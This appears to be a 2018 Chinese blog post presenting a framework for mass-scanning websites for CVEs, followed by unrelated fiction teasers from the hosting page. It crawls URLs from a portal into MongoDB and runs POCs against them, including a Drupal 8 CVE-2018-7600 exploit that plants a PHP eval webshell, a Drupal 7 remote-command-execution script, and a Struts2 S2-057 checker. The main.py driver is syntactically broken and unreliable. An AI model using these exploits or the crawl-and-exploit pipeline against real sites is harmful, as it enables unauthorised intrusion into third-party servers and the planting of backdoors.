cve批量扫描系统框架(2018-12-13)

前几天为了扫一批新出的cve目标,写了个批量的框架。主要是利用爬虫爬取URL、title信息,存到MongoDB里,然后调用POC批量扫描。写的比较简单,看看就好。

附加的几个POC,扫出来存在漏洞的部门和公司已经发了通告,所以借鉴一下就好,不要搞事情啊。



spider.py

# !/usr/bin/env python

# -*- coding:utf-8 -*-

import urllib.request

import re

from pymongo import MongoClient

def findSubStr(substr, str, i):

    count = 0

    while i > 0:

        index = str.find(substr)

        if index == -1:

            return -1

        else:

            str = str[index+1:]

            i -= 1

            count = count + index + 1

    return count - 1

def updatestate(url):

    client = MongoClient(host="localhost", port=27017)

    db = client.CvetestURL

    col = db.col

    db.col.update_one({"url": url},{"$set": {"state": -1}})

def updateheader(url,respheader):

    client = MongoClient(host="localhost", port=27017)

    db = client.CvetestURL

    col = db.col

    db.col.update_one({"url": url},{"$set": {"header": respheader}})

    #db.col.update_one({"url": url},{"$set": {"url": newurl}})

def insertdb(href,name):

    conn = MongoClient('localhost',27017)

    db = conn.CvetestURL

    col = db.col

    #data1 = {'name':name, 'url':href, 'state':1,'header':''} #state: to do:1,done:-1

    #db.col.insert(data1)

    result1 = col.find({'url':href})

    if result1.count() == 0:

        data1 = {'name':name, 'url':href, 'state':1, 'header':'', 'teststate':1} #state: to do:1,done:-1

        db.col.insert(data1)

def crawl(url):

    headers={

        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36'

    }

    req=urllib.request.Request(url=url,headers=headers)

    resp=urllib.request.urlopen(req)

    updatestate(url)

    if resp.reason.lower()=='ok':

        respheader=resp.getheaders()

        #newurl=resp.geturl()

        updateheader(url,respheader)

        html=resp.read().decode('utf-8')

        pattern=r'<a.*?href="([^\s]+?)">(\w+?)</a>'

        result=re.compile(pattern,re.DOTALL).findall(html)

        data=set()

        for i in result:

            href=i[0]

            name=i[1]

            if href.find('http') < 0:

                href = url + href

            pos = findSubStr('/',href,3)

            if pos > 0:

                href = href[0:pos]

            insertdb(href,name)

        '''

        with open('G:/Scrapy爬虫/SinanewsSpider/SinanewsSpider/hao123.txt',mode='w',encoding='utf-8') as f:

            for i in data:

                f.write(i+'\n\n')

        '''

if __name__ == '__main__':

    url = 'https://www.hao123.com'

    name = '360导航页'

    insertdb(url,name)

    crawl(url)

    '''

    while True:

        url = db.users.find_one({'state':'1'})

        if url == False:

            break

        updatestate(url)

        crawl(url)

    '''



main.py

# -*- coding: utf-8 -*-

import sys

import os

import subprocess

import time

import pymongo

def mongofind(searchtext):

client = MongoClient(host="localhost", port=27017)

    db = client.CvetestURL

    col = db.col

    result = col.find_one({ $and: [ searchtext , { teststate: {$regex: 1} } ] })#searchtext格式 eg:{ intro: {$regex: 'test'} }

def file_name(file_dir): 

    L=[] 

    for dirpath, dirnames, filenames in os.walk(file_dir): 

        for file in filenames : 

            if os.path.splitext(file)[1] == '.py': 

                L.append(os.path.join(dirpath, file)) 

    return L

#import os.path

def traversalDir_FirstDir(path):

    list = []

    if (os.path.exists(path)):

        files = os.listdir(path)

        for file in files:

            m = os.path.join(path,file)

            if (os.path.isdir(m)):

                h = os.path.split(m)

                #print h[1]

                list.append(h[1])

        return list

'''

def mongosearch():

    queryArgs = {}

    projectionFields = {'_id':True, 'key':True} #指定查询内容

    searchRes = db_coll.find(queryArgs, projection = projectionFields)

'''

def main():

print ('################################################################')

print ("# CVE-Test-System                                              #")

print ("# Author:Kolongmashin                                          #")

print ('################################################################')

top1 = os.path.dirname(os.path.realpath(__file__))

Dir = traversalDir_FirstDir(top1)   

print(Dir)

str1 = input("Enter your operation:");

if os.path.exists(str1):

top2 = top1 + "/" + str1

list = file_name(top2)

print(list)

str2 = input("Enter your python filename: ");

str3 = str1 + "/" + str2

if os.path.exists(str3):

'''

f = open("url.txt","r")  #在url.txt读取url信息

lines = f.readlines()#读取全部内容

for line in lines: 

url = line.replace('\n','')

cmd2 = "python " + str3 + " http://" + url + " >> 8.txt"

print (cmd2)

#output = os.popen(" ".join(cmd)).readlines()

os.system(cmd2)

time.sleep(1)

'''

str4 = str1 + "/search.txt"#mongo数据库读取url信息

f = open(str4)            #每个cve下search.txt存放需要在数据库内查询的内容

searchtext = f.readlines() #searchtext格式 eg:{ intro: {$regex: 'test'} }

searchtext = searchtext.replace('\n','')

while True:

url = mongofind(searchtext)

if url == False:

break

cmd2 = "python " + str3 + " http://" + url + " >> result.txt"

else:

print("The input is wrong!")

print("The file does not exist!")

else:

print("The input is wrong!")

print("The dir does not exist!")

if __name__ == '__main__':

main()




这里附上几个已经改好的POC。

cve-2018-7600(Drupal 8)

#!/usr/bin/env python3

import sys

import requests

#print ('################################################################')

#print ('# CVE-2018-7600')

#print ('# Author:Kolongmashin')

#print ('################################################################')

#print ('Provided only for educational or information purposes\n')

target = sys.argv[1] + "/"

#print ('target:',target)

# example:

# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

# verify = False

proxies = {}

verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

#<?php @eval($_POST[\"aaa\"]);?>

#payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "(-:" | tee hello1.txt'}

payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': '<?php eval($_POST[thisisatest]);?>'}

#form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=whoami

r = requests.post(url, proxies=proxies, data=payload, verify=verify)

check = requests.get(target + 'hello1.txt', verify=verify)

if check.status_code != 200:

    #sys.exit("Not exploitable")

    print ("Not exploitable")

    #print ('target:',target)

else:

    print ('\nCheck: '+target+'hello1.txt')



cve-2018-7600(Drupal 7)

#!/usr/bin/env python3

import requests

import argparse

from bs4 import BeautifulSoup

def get_args():

  parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",

                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),

                    epilog= '''

                    This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57

                    by poisoning the recover password form (user/password) and triggering it with

                    the upload file via ajax (/file/ajax).

                    ''')

  parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")

  parser.add_argument("-c", "--command", default="whoami", help="Command to execute (default = whoami)")

  parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")

  parser.add_argument("-p", "--proxy", default="http://127.0.0.1:8080/", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")

  args = parser.parse_args()

  return args

def pwn_target(target, function, command, proxy):

  requests.packages.urllib3.disable_warnings()

  #proxies = {'http': proxy, 'https': proxy}

  proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

  print('[*] Poisoning a form and including it in cache.')

  get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}

  post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}

  r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)

  soup = BeautifulSoup(r.text, "html.parser")

  try:

    form = soup.find('form', {'id': 'user-pass'})

    form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')

    if form_build_id:

        print('[*] Poisoned form ID: ' + form_build_id)

        print('[*] Triggering exploit to execute: ' + command)

        get_params = {'q':'file/ajax/name/#value/' + form_build_id}

        post_params = {'form_build_id':form_build_id}

        r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)

        parsed_result = r.text.split('[{"command":"settings"')[0]

        print(parsed_result)

  except:

    print("ERROR: Something went wrong.")

    raise

def main():

  print ()

  print ('=============================================================================')

  print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)          |')

  print ('|                              by kolongmashin                              |')

  print ('=============================================================================\n')

  args = get_args() # get the cl args

  print (args)

  pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())

  #www.math.ntu.edu.tw

if __name__ == '__main__':

  main()



cve-2018-11776(Struct2  S2-057)

#!/usr/bin/env python3

# kolongmashin

#

import requests,sys,random,json

requests.packages.urllib3.disable_warnings()

from urllib import parse

def info():

    s2_057 = {"id": "CVE-2018-11776", "kind": "web", "type": "Remote Command Execution", "name": "Struts2 \u547d\u4ee4\u6267\u884c\u6f0f\u6d1eCVE-2018-11776", "status": "high", "description": "", "expansion": "", "resolution": "", "method": "POST", "payload": "", "header": "", "body": "", "affectedComponent": [{"name": "WebLogic", "description": "Struts2\u662f\u4e00\u4e2a\u57fa\u4e8eMVC\u8bbe\u8ba1\u6a21\u5f0f\u7684Web\u5e94\u7528\u6846\u67b6\uff0c\u5b83\u672c\u8d28\u4e0a\u76f8\u5f53\u4e8e\u4e00\u4e2aservlet\uff0c\u5728MVC\u8bbe\u8ba1\u6a21\u5f0f\u4e2d\uff0cStruts2\u4f5c\u4e3a\u63a7\u5236\u5668(Controller)\u6765\u5efa\u7acb\u6a21\u578b\u4e0e\u89c6\u56fe\u7684\u6570\u636e\u4ea4\u4e92"}]}

def poc(url):

    try:

        retval = False

        headers = dict()

        headers['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:61.0) Gecko/20100101 Firefox/61.0'

        r1 = random.randint(10000,99999)

        r2 = random.randint(10000,99999)

        r3 = r1 + r2

        urlOne = url

        res = requests.get(url=urlOne,timeout=6,allow_redirects=False,verify=False)

        if res.status_code == 200:

            urlTemp = parse.urlparse(urlOne)

            urlTwo = urlTemp.scheme + '://' + urlTemp.netloc + '/${%s+%s}/index.action'%(r1,r2)

            res = requests.get(url=urlTwo,timeout=6,allow_redirects=False,verify=False)

            if res.status_code == 302 and res.headers.get('Location') is not None and str(r3) in res.headers.get('Location'):

                urlThree = res.headers.get('Location')

                res = requests.get(url=urlThree,timeout=6,allow_redirects=False,verify=False)

                retval |= str(r3) in res.text

    except:pass

    finally:

        if retval:

            print('URL {} 存在s2-057 CVE-2018-11776 漏洞!'.format(url))

        else:

            print('URL {} 不存在s2-057 CVE-2018-11776 漏洞!'.format(url))

if __name__ == '__main__':

args = sys.argv[1]

poc(url=args)



最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,744评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,505评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,105评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,242评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,269评论 6 389
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,215评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,096评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,939评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,354评论 1 311
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,573评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,745评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,448评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,048评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,683评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,838评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,776评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,652评论 2 354

推荐阅读更多精彩内容